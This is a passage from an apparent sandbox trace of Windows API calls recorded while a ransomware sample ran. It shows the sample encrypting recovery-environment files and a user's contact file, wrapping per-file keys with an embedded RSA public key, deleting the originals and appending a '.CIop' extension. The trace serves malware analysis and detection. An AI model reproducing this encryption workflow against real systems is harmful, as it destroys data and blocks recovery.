phKey=0x306e5bc | out: phKey=0x306e5bc*=0x5d5dc8) returned 1 [0087.750] CryptExportKey (in: hKey=0x5d5dc8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x306e5f0 | out: pbData=0x0*, pdwDataLen=0x306e5f0*=0x94) returned 1 [0087.750] CryptExportKey (in: hKey=0x5d5dc8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3360000, pdwDataLen=0x306e5f0 | out: pbData=0x3360000*, pdwDataLen=0x306e5f0*=0x94) returned 1 [0087.750] CryptDestroyKey (hKey=0x5d5dc8) returned 1 [0087.750] CryptReleaseContext (hProv=0x5ec670, dwFlags=0x0) returned 1 [0087.774] UnmapViewOfFile (lpBaseAddress=0x3070000) returned 1 [0087.794] CloseHandle (hObject=0x380) returned 1 [0087.794] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x306000 [0087.795] WriteFile (in: hFile=0x378, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x306e5f4, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x306e5f4*=0x7, lpOverlapped=0x0) returned 1 [0087.795] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.795] SetErrorMode (uMode=0x1) returned 0x1 [0087.795] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0087.795] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x306d5b8, pcbBinary=0x306d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0087.795] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x306d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598 | out: pvStructInfo=0x306d5a0, pcbStructInfo=0x306d598) returned 1 [0087.795] CryptAcquireContextW (in: phProv=0x306d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x306d5a8*=0x5ec5e8) returned 1 [0087.796] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ec5e8, dwCertEncodingType=0x1, pInfo=0x5e7d48, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x306d5b0 | out: phKey=0x306d5b0*=0x5d5ec8) returned 1 [0087.796] CryptEncrypt (in: hKey=0x5d5ec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x306d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x306d5b4*=0x80) returned 1 [0087.796] CryptEncrypt (in: hKey=0x5d5ec8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ec918*, pdwDataLen=0x306d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ec918*, pdwDataLen=0x306d5a4*=0x80) returned 1 [0087.796] WriteFile (in: hFile=0x378, lpBuffer=0x5ec918*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x306e5f4, lpOverlapped=0x0 | out: lpBuffer=0x5ec918*, lpNumberOfBytesWritten=0x306e5f4*=0x80, lpOverlapped=0x0) returned 1 [0087.796] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.796] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Recovery\\WindowsRE\\boot.sdi" (normalized: "c:\\recovery\\windowsre\\boot.sdi"), lpNewFileName="\\\\?\\C:\\Recovery\\WindowsRE\\boot.sdi.CIop" (normalized: "c:\\recovery\\windowsre\\boot.sdi.ciop"), dwFlags=0x1) returned 0 [0087.796] VirtualFree (lpAddress=0x3350000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.798] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.798] CloseHandle (hObject=0x378) returned 1 [0087.869] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Recovery\\WindowsRE\\boot.sdi" (normalized: "c:\\recovery\\windowsre\\boot.sdi"), lpNewFileName="\\\\?\\C:\\Recovery\\WindowsRE\\boot.sdi.CIop" (normalized: "c:\\recovery\\windowsre\\boot.sdi.ciop"), dwFlags=0x1) returned 1 Thread: id = 31 os_tid = 0xf70 [0087.905] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0087.905] lstrcpyW (in: lpString1=0x2f0f368, lpString2="ReAgent.xml" | out: lpString1="ReAgent.xml") returned="ReAgent.xml" [0087.905] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Recovery\\WindowsRE\\" | out: lpString1="\\\\?\\C:\\Recovery\\WindowsRE\\") returned="\\\\?\\C:\\Recovery\\WindowsRE\\" [0087.905] SetErrorMode (uMode=0x1) returned 0x1 [0087.905] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Recovery\\WindowsRE\\ReAgent.xml") returned 37 [0087.905] SetFileAttributesW (lpFileName="\\\\?\\C:\\Recovery\\WindowsRE\\ReAgent.xml", dwFileAttributes=0x20) returned 1 [0087.906] StrStrW (lpFirst="ReAgent.xml", lpSrch=".CIop") returned 0x0 [0087.906] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Recovery\\WindowsRE\\ReAgent.xml.CIop") returned 42 [0087.906] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\WindowsRE\\ReAgent.xml" (normalized: "c:\\recovery\\windowsre\\reagent.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x38c [0087.906] ReadFile (in: hFile=0x38c, lpBuffer=0x5ed568, nNumberOfBytesToRead=0x411, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x5ed568*, lpNumberOfBytesRead=0x2f0e5e8*=0x411, lpOverlapped=0x0) returned 1 [0087.907] CloseHandle (hObject=0x38c) returned 1 [0087.907] DeleteFileW (lpFileName="\\\\?\\C:\\Recovery\\WindowsRE\\ReAgent.xml" (normalized: "c:\\recovery\\windowsre\\reagent.xml")) returned 1 [0087.908] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0087.908] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0087.908] SetErrorMode (uMode=0x1) returned 0x1 [0087.908] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x5ebe78) returned 1 [0087.910] CryptGenKey (in: hProv=0x5ebe78, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d6548) returned 1 [0087.979] CryptExportKey (in: hKey=0x5d6548, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0087.979] CryptExportKey (in: hKey=0x5d6548, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0087.979] CryptDestroyKey (hKey=0x5d6548) returned 1 [0087.979] CryptReleaseContext (hProv=0x5ebe78, dwFlags=0x0) returned 1 [0087.979] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\WindowsRE\\ReAgent.xml.CIop" (normalized: "c:\\recovery\\windowsre\\reagent.xml.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x38c [0087.979] WriteFile (in: hFile=0x38c, lpBuffer=0x5ed568*, nNumberOfBytesToWrite=0x411, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ed568*, lpNumberOfBytesWritten=0x2f0e5d8*=0x411, lpOverlapped=0x0) returned 1 [0087.980] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x411 [0087.980] WriteFile (in: hFile=0x38c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0087.980] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x418 [0087.980] SetErrorMode (uMode=0x1) returned 0x1 [0087.980] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0087.980] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0087.980] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0087.980] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x5ec1a8) returned 1 [0087.981] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ec1a8, dwCertEncodingType=0x1, pInfo=0x5e82f8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d60c8) returned 1 [0087.981] CryptEncrypt (in: hKey=0x5d60c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0087.981] CryptEncrypt (in: hKey=0x5d60c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ec9a0*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ec9a0*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0087.981] WriteFile (in: hFile=0x38c, lpBuffer=0x5ec9a0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5ec9a0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0087.981] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.981] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.981] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.981] CloseHandle (hObject=0x38c) returned 1 [0087.982] DeleteFileW (lpFileName="\\\\?\\C:\\Recovery\\WindowsRE\\ReAgent.xml" (normalized: "c:\\recovery\\windowsre\\reagent.xml")) returned 0 Thread: id = 32 os_tid = 0xf74 [0088.005] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.005] lstrcpyW (in: lpString1=0x2f0f368, lpString2="Winre.wim" | out: lpString1="Winre.wim") returned="Winre.wim" [0088.005] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Recovery\\WindowsRE\\" | out: lpString1="\\\\?\\C:\\Recovery\\WindowsRE\\") returned="\\\\?\\C:\\Recovery\\WindowsRE\\" [0088.005] SetErrorMode (uMode=0x1) returned 0x1 [0088.006] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Recovery\\WindowsRE\\Winre.wim") returned 35 [0088.006] SetFileAttributesW (lpFileName="\\\\?\\C:\\Recovery\\WindowsRE\\Winre.wim", dwFileAttributes=0x20) returned 1 [0088.006] StrStrW (lpFirst="Winre.wim", lpSrch=".CIop") returned 0x0 [0088.006] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Recovery\\WindowsRE\\Winre.wim.CIop") returned 40 [0088.006] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\WindowsRE\\Winre.wim" (normalized: "c:\\recovery\\windowsre\\winre.wim"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x38c [0088.007] CreateFileMappingW (hFile=0x38c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x358 [0088.007] MapViewOfFile (hFileMappingObject=0x358, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2dc6c0) returned 0x2f10000 [0088.011] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x31f0000 [0088.011] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3200000 [0088.011] SetErrorMode (uMode=0x1) returned 0x1 [0088.011] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x5ec670) returned 1 [0088.013] CryptGenKey (in: hProv=0x5ec670, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5d6c48) returned 1 [0088.041] CryptExportKey (in: hKey=0x5d6c48, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5f0 | out: pbData=0x0*, pdwDataLen=0x2f0e5f0*=0x94) returned 1 [0088.041] CryptExportKey (in: hKey=0x5d6c48, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3200000, pdwDataLen=0x2f0e5f0 | out: pbData=0x3200000*, pdwDataLen=0x2f0e5f0*=0x94) returned 1 [0088.041] CryptDestroyKey (hKey=0x5d6c48) returned 1 [0088.041] CryptReleaseContext (hProv=0x5ec670, dwFlags=0x0) returned 1 [0088.107] UnmapViewOfFile (lpBaseAddress=0x2f10000) returned 1 [0088.131] CloseHandle (hObject=0x358) returned 1 [0088.131] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x120c7e13 [0088.131] WriteFile (in: hFile=0x38c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5f4, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5f4*=0x7, lpOverlapped=0x0) returned 1 [0088.142] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.142] SetErrorMode (uMode=0x1) returned 0x1 [0088.142] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0088.142] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0088.142] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0088.142] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x5ebf00) returned 1 [0088.143] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5ebf00, dwCertEncodingType=0x1, pInfo=0x5e6d08, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5d6508) returned 1 [0088.143] CryptEncrypt (in: hKey=0x5d6508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0088.143] CryptEncrypt (in: hKey=0x5d6508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ec2b8*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5ec2b8*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0088.143] WriteFile (in: hFile=0x38c, lpBuffer=0x5ec2b8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5f4, lpOverlapped=0x0 | out: lpBuffer=0x5ec2b8*, lpNumberOfBytesWritten=0x2f0e5f4*=0x80, lpOverlapped=0x0) returned 1 [0088.143] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.143] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Recovery\\WindowsRE\\Winre.wim" (normalized: "c:\\recovery\\windowsre\\winre.wim"), lpNewFileName="\\\\?\\C:\\Recovery\\WindowsRE\\Winre.wim.CIop" (normalized: "c:\\recovery\\windowsre\\winre.wim.ciop"), dwFlags=0x1) returned 0 [0088.143] VirtualFree (lpAddress=0x31f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.145] VirtualFree (lpAddress=0x3200000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.145] CloseHandle (hObject=0x38c) returned 1 [0088.556] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Recovery\\WindowsRE\\Winre.wim" (normalized: "c:\\recovery\\windowsre\\winre.wim"), lpNewFileName="\\\\?\\C:\\Recovery\\WindowsRE\\Winre.wim.CIop" (normalized: "c:\\recovery\\windowsre\\winre.wim.ciop"), dwFlags=0x1) returned 1 Thread: id = 33 os_tid = 0xf78 [0088.047] lstrcpyA (in: lpString1=0x334e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0088.047] lstrcpyW (in: lpString1=0x334f368, lpString2="Aclviho ASldjfl.contact" | out: lpString1="Aclviho ASldjfl.contact") returned="Aclviho ASldjfl.contact" [0088.047] lstrcpyW (in: lpString1=0x334f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0088.047] SetErrorMode (uMode=0x1) returned 0x1 [0088.047] wsprintfW (in: param_1=0x334eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact") returned 58 [0088.047] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact", dwFileAttributes=0x20) returned 1 [0088.048] StrStrW (lpFirst="Aclviho ASldjfl.contact", lpSrch=".CIop") returned 0x0 [0088.048] wsprintfW (in: param_1=0x334e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact.CIop") returned 63 [0088.048] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0088.048] ReadFile (in: hFile=0x398, lpBuffer=0x5ed568, nNumberOfBytesToRead=0x49a, lpNumberOfBytesRead=0x334e5e8, lpOverlapped=0x0 | out: lpBuffer=0x5ed568*, lpNumberOfBytesRead=0x334e5e8*=0x49a, lpOverlapped=0x0) returned 1 [0088.049] CloseHandle (hObject=0x398) returned 1 [0088.049] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\ciihmnxmn6ps\\contacts\\aclviho asldjfl.contact")) returned 1 [0088.050] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3350000 [0088.050] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000 [0088.051] SetErrorMode (uMode=0x1) returned 0x1 [0088.051] CryptAcquireContextW (in: phProv=0x334e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x334e5b8*=0x5ebe78) returned 1 [0088.053] CryptGenKey (in: hProv=0x5ebe78, Algid=0x1, 